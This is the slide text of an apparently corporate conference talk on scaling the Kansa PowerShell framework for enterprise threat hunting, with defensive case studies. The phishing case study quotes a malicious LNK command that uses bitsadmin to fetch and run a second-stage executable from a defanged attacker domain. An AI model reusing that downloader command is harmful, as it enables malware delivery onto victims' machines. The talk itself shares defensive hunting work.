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OUR MISSION

The mission of the association is to facilitate 

the financial security of its members, 

associates and their families through provision 

of a full range of highly competitive financial 

products and services; in so doing, USAA 

seeks to be the provider of choice for the 

military community. 

THE USAA STANDARD

• Keep our membership and mission first

• Live our core values: Service, Loyalty, 

Honesty, Integrity

• Be compliant and manage risk

• Build trust and help each other succeed

• Embrace diversity and be purposefully 

inclusive

• Innovate and build for the future
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Kansa@Scale – Enterprise Threat Hunting

Refresher: What is Kansa? Pre-requisites & Limitations

Journey of Creative Solutions

▪ Distributed Parallel Deployment

▪ ELK Integration for Centralized Collection

▪ Asynchronous Execution (Fire&Forget)

▪ Avoiding Alert Generation

▪ Safeties/Metrics/Monitoring

▪ Just-In-Time Module Assembly

▪ PullBin via Necromancer

▪ LaunchPad

New Modules / Case Studies
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➢ Modular Powershell Framework (v2 compatible)

➢ Incident Response / Threat Hunting

➢ Run triage/forensic collection scripts on targets

➢ Custom & Community-provided modules

➢ Includes Analysis Scripts

Refresher: What is Kansa?

Need to run arbitrary powershell scripts 

on remote hosts for Threat Hunting/IR?
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➢ Powershell

➢ WinRM port 5985/5986

➢ Credentials

➢ RSAT

➢ ELK

➢ Deployment Server(s)

➢ Staging Server(s) with REST API 

➢ (and load balancer?)

Pre-requisites
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➢Can’t-sa?

➢ Limited to 50-100 targets

➢ Analyst workstation network bottleneck

➢ Job-timeout, long-running jobs

➢ Results stored on local disk

Kansa Limitations
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Limitation: Serial deployment
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First Challenge

Where Kansa excels: run handful of modules on 20-30 systems

Our Desire: Run 1 module on 150K+ systems

Limitation: Runs too slow, especially on long-modules
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Solution: Distributed Deployment & Centralized Logging

…

2

1

1. Distribute job/targets to Kansa-Servers

2. Kansa-Servers connect to targets, execute job, collect results
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Solution: Distributed Deployment & Centralized Logging

…

3

4

3. Servers send errors & results to ELK
4. Analyst performs analysis via ELK dashboards/aggregations/viz
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Not enough

Success: Running on 100K+ systems with centralized results

Limitation: Still bottlenecks on synchronous module-duration
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Fire & Forget Modules

Collect/Format/Standardize results

Send results to ELK

<MODULE CODE>

Compress & Base64 encode module

Spawn orphaned-child PS process

Include self-unpacker

Report Target, Child PID

Our solution: Async jobs, Orphaned child process, self-reporting to ELK
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Fire & Forget Modules

Collect/Format/Standardize results

Send results to ELK

<MODULE CODE>

Compress & Base64 encode module

Spawn orphaned-child PS process

Include self-unpacker

Report Target, Child PID

Our solution: Async jobs, Orphaned child process, self-reporting to ELK
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Asynchronous Deployment/Collection

…

1. Fabricate the Fire&Forget module, deploy it to the servers
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Asynchronous Deployment/Collection

…

Realtime Analysis

2. Deploy to endpoints, results sent to ELK immediately



16Not Join them!

You were supposed 

to destroy them

I am my own worst enemy

Success: Centralized Command/Control, Decentralized execution

Limitation: Now we look like malware
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I am my own worst enemy

Success: Centralized Command/Control, Decentralized execution

Limitation: Now we look like malware
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Safewords, Burner Creds, & SOAR check-ins - Oh My!

EDR

SOAR API

Password Vault API

…
API Key +

Approved Src +

Burner acct + 

Approved alerts

= Okay

Analyst Workstation
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We’ve Gone To Plaid

Success: Achieved Ludicrous speed

Limitation: Tipping over services (especially in VDI)

Disk I/O

CPU

Network Bandwidth

RAM
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VDI – Unique Considerations

Most workstations spend most of the 
time idle – wasting resources
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Consolidate and share fewer resources

Dynamically reallocate on-demand

VDI – Unique Considerations
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Rapid simultaneous scan

Resource bottlenecking

Hunting in VDI - Before
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Kansa Fire&Forget Safeguards

Staggered ExecutionPre-launch 
checklist

Killswitch
timer

Performance MetricsA
b

o
r
t-

F
u

n
c
ti

o
n

CPU Limiter

Notifications
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Kill-Switch
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Staggered Start, CPU Throttle
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Abort-Launch and D-Launcher

Get-AbortCleanKansaServersFF.ps1

• Terminate in-progress deployment

• Bounce services

• Send partial results

• Remove temp files/results

Get-KansaDLauncherFF.ps1

• Terminate Kansa job on 

endpoints

• Report success
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Hunting in VDI v2.0

Results:
• Deploy script to 150K+ endpoints in < 5min
• Script w/ avg runtime of 5min/endpoint
• Spread execution over 0 → 24hrs as desired

• Job survives sleep/hibernation
• Recalculates runtime to subtract naptime

• 500M+ records collected per day
• Can deploy overlapping jobs simultaneously

• Jobs distinguished by HuntID parameter
• No resource exhaustion (CPU/DiskIO/Network)

• Recently added RAM safeties

Physical+
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Fire & Forget Modules Getting Unwieldy

Success: Safe Fast Scalable Kansa Jobs

Limitation: Fire & Forget Runtime Parameters are Static

Limitation: Fire & Forget Modules are HUGE

Autonomous ELK Reporting

Helper Functions

Alert-Suppression

Safety Mechanisms

Metrics

…oh, and actual module code
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Just-In-Time Kansa Modules

Integrated Helper Functions

Record-Transmission Functions

Safeword/Alert-Suppression

Safety Mechanisms

Metrics

Actual module code…oh, and

FFwrapper
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Just-In-Time Kansa Modules

Integrated Helper Functions

Record-Transmission Functions

Safeword/Alert-Suppression

Safety Mechanisms

Metrics

Actual module code

FFwrapper
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Just-In-Time Kansa Modules

Integrated Helper Functions

Record-Transmission Functions

Safeword/Alert-Suppression

Safety Mechanisms

Metrics

Actual module code…oh, and

FFwrapper FF Development Template

Stub helper functions

(Add-Result prints to screen)
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Just-In-Time Kansa Modules

Integrated Helper Functions

Record-Transmission Functions

Safeword/Alert-Suppression

Safety Mechanisms

Metrics

Actual module code

FFwrapper FF Development Template

Stub helper functions

(Add-Result prints to screen)
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Just-In-Time Kansa Modules

Integrated Helper Functions

Record-Transmission Functions

Safeword/Alert-Suppression

Safety Mechanisms

Metrics

Actual module code…oh, and
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At Launch Time…

Integrated Helper Functions

Record-Transmission Functions

Safeword/Alert-Suppression Actual module code

FFwrapper

Safety Mechanisms

Metrics
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At Launch Time…

Integrated Helper Functions

Record-Transmission Functions

Safeword/Alert-Suppression

Actual module code

Safety Mechanisms

Metrics

Parse/transcribe runtime variables

Dynamically Generated

Fire & Forget Module
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Code Snippets
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Code Snippets
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Code Snippets
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Code Snippets
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Code Snippets
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Code Snippets
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Code Snippets
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Code Snippets
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Helper Functions

Add-Result / Send-Results

Get-LastLoggedOnUser

enhancedGCI

Get-FileDetails (MACB, hashes, content, magicbytes)

Get-StringHash

Get/Send-file

Notify-Helpdesk
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Metrics Collected

MinutesRuntime

HostUptimeDays

LastLoggedOnUser Info

HostOS Name, Version, Bitness, InstalledDate, CurrentTime, 
LastBootDateTime

Physical Memory, Module Shared Memory, Module Private Memory

Module PID, Process-Bitness, CPUTime, Account-Context

DelayedStartSeconds, ModuleRuntime, TotalDuration, TimeSlept

Number records added
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Safety Mechanisms Included In Wrapper

Helpdesk Alert

Staggered Execution

Killswitch

VDI abort criteria

CPU Limiter
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Sample Launch Sequence
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ELK Telemetry
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Pushbin Doesn’t Scale at High Speed

Limitation: using Kansa servers to PUSH binaries at launch is too slow

SOLUTION:

Create Cluster of REST API webservers fronted by load-balancer

Have Fire&Forget agents PULL tools from the client side

“Tactical” installs of sysmon, winlogbeat, etc.

“Necromancer” server cluster
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Necromancer Server Cluster

…
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Using New Features

Kansa.ps1

-ElkAlert @(“192.168.0.31”,”192.168.0.32”)

-ElkPort @(1337)

-FireForget

-FFwrapper “.\Modules\FireForget\FFwrapper.ps1”

-FFArgs @{delayedStart = $true; maxDelay = 3600; killSwitch = $true; 
killDelay = 1800; VDIcheck = $false; CPUpriority = "Idle" }

-FFStagePath “.\Modules\FFStaging\”

-SafeWord “pineapple”
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Using New Features

DistributedKansa.ps1

-KansaServers “.\kansa_servers.txt”

-KansaRemotePath “C:\Kansa\”

-Overwrite

-NoPrompt
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Using New Features

GetTargets.ps1

-HostnameRegex “WS[0-9]{10}”

-LastLogonLessThanDaysAgo 30

-ActiveDirectorySearchBase "OU=Workstations,dc=corp,dc=com" 

-Randomize

-outFile “.\targets.txt”
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Launch Commandline is Too Long

Limitation: Launch command is too long
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Launch Commandline is Too Long

Limitation: Launch command is too long
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Launch Commandline is Too Long

Limitation: Launch command is too long

SOLUTIONS:

Set default values in FFwrapper

LaunchPad.ps1 script

Interactive prompts

Automatic target-list collection

Default values for common modules

Draft email/slack notifications
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Launch Commandline is Too Long

Limitation: Launch command is too long

SOLUTIONS:

Set default values in FFwrapper

LaunchPad.ps1 script

Interactive prompts

Automatic target-list collection

Default values for common modules

Draft email/slack notifications
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Some Fire&Forget Modules

Get-ADSFF.ps1

Get-DDEFilesFF.ps1

Get-ImageExecutionGlobalFlagFF.ps1

Get-MSOfficeXMLFF.ps1

Get-SchTasksFF.ps1

Get-SQLDBFF.ps1

Get-WinEventsFF.ps1

Get-WMIscriptsFF.ps1
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Case Studies

CASE STUDIES
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Source: Ad-Hoc / Topic / Theory

Tactic: Hide malware in trusted folder 

Primary Tool: Kansa  (alternate tools: EDR, Asset-mngmt)

• Enumerate all files in System32 folder

• Collect all metadata, incl file hash & digital signature

• LFO by Filename, Hash, Creation Date/time

• Pivot to outliers by aggregate name & hash

Output:

• utilman.exe, f5ae03de0ad60f5b17b82f2cd68402fe (cmd.exe)

• Remedial training, new detections/signatures

Case Study – System32 Outliers
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Source: Intel team request

Tactic: Malicious binaries

Primary Tools: Kansa, AssemblyLine, Python REST/webserver

• Enum all .exe files, Collect ALL the metadataz

• “Unknown” binaries → malware pipeline

• Static & Dynamic Analysis

Outputs: 

• Analyzed 450K+ unique binaries

• Found mostly PUPs, policy violations

• Metadata for other case enrichments

Case Study – Project Necromancer
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Source: CIRT & Intel

Tactic: Phishing with multilayer obfuscated attachment

Primary Tool: Kansa

• Darkcomet malware campaign blocked by email security

• Zip w/ LNK used bitsadmin.exe to download 2nd stage
• ..\..\..\Windows\System32\cmd.exe /c "bitsadmin /reset&bitsadmin /create ""&bitsadmin /addfile "" 

"hxxp://www.evildomain.com/cis/scanvoi.exe" "%tmp%\tmeepfile.exe"&bitsadmin /setproxysettings "" 
NO_PROXY&bitsadmin /setnotifyflags "" 1&bitsadmin /setnotifycmdline "" "%comspec%" "/c 
bitsadmin /complete \"\"&start \"\" \"%tmp%\tmeepfile.exe\""&bitsadmin /resume """

Outputs:

• Detection bitsadmin reaching out to internet

• Hunt module to inspect LNK targets

Case Study – Failed Phishing Campaign
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Source: AppSec

Tactic: Malicious Browser Extension

Primary Tool: Kansa

• Enumerate all plugins by GUID per-user

• Enrich data with manifest info and display name lookup

Outputs:

• Found users with hacked/malicious extensions.  #Removed

• Chrome Extension baseline & whitelist policy

Case Study – Evil Chrome Extensions
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Source: Intel team

Tactic: Execution with batch file in user’s temp profile folder

• Malware leaves bat, cs, cmdline files in %TEMP% and 
ProgramData

Primary Tool: Kansa

• Enumerate all bat/cs/cmdline files in target folders

• Collect metadata, hashes, file-content

Outputs:

• Found Go2Assist Corporate usage

Case Study – FIN7 Artifact Detection (FAD)
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Source: Ad-Hoc / Topic theory

Tactic: Persistence by creating local accounts outside of AD

Primary Tool: Kansa

• Enumerate Local Users & Groups

• Focus on Local Administrators

Outputs:

• Found policy violations

• New detection (winlogbeat add user via gui vs just cmd line)

Case Study – Local Admins
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Source: Ad-Hoc / Topic Theory

Tactic: Persistence or PrivEsc through service creation or 
hijacking

Primary Tool: Kansa

• Sc query

• LFO

Outputs:

• Found teamviewer, telnet svr, vnc, and Zune????

Case Study – Unusual Services
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Source: Red Team & MITRE ATT&CK

Tactic: Persistence and PrivEsc with Print job monitor DLLs

Primary Tool: Kansa

• Enumerate all PrintMonitor registry keys

• Parse target dlls / Path

• Gather file metadata (incl hashes)

• Enrich with file-reputation service

Outputs:

• Recurring PrintMonitor persistence/privesc hunt

Case Study - PrintMonitors
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Source: Ad-Hoc / Topic Theory

Tactic: Use Rogue Installed Certs to trust evil code or websites

Primary Tool: Kansa

• Collect all certs from Windows & Java certstores

• Outlier analysis

Outputs:

• Revoked certs still in local cert store

Case Study - Certstore
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Source: Ad-Hoc / Topic Theory

Tactic: Disable endpoint security tools to avoid detection

Primary Tool: Kansa

• Enumerate all running processes/svcs and installed apps

• Check for presence of security tools

• Report dormant/missing tools

Outputs:

• List of machines not getting updates/packages

• Agent inadvertently excluded from gold image

Case Studies – Agent Presence
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Source: Ad-Hoc / Topic Theory

Tactic: MBR root/bootkit loads before OS to hide from kernel

Primary Tool: Kansa

• Grab first 400 bytes of the system drive

Outputs:

• Out of ~100K workstations, only 8 outliers

• All were SSDs used a specific version of drive-copy software

• MBR baseline for future (repeatable) MBR hunts

Case Studies – MBR variations
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Source: Red Team

Tactic: compiled/bundled Python executable

Primary Tool: Kansa, Sysmon/EDR

• Gather samples of Python EXEs 

• (Py2exe, cx_freeze, PyInstaller, etc…)

• Look for common artifacts

• Sweep environment to determine prevalence of indicator

• Investigate hits

Outputs:

• Realtime detection for “Frozen” Python in our EDR

Case Studies – Frozen Python
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Source: Hunt Hypothesis

Tactic: Persistence through malicious driver

Primary Tool: Kansa

• Enumerate ALL drivers on EVERY system

• Aggregate by filename/SHA256/path/MACB-times/etc

Outputs:

• Unapproved software/hardware installations

• WinPmem (on forensics’ team systems)

• Hauppauge WinTV PVR

• “clumsy” windivert

Case Studies – Uncommon Drivers
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Questions?
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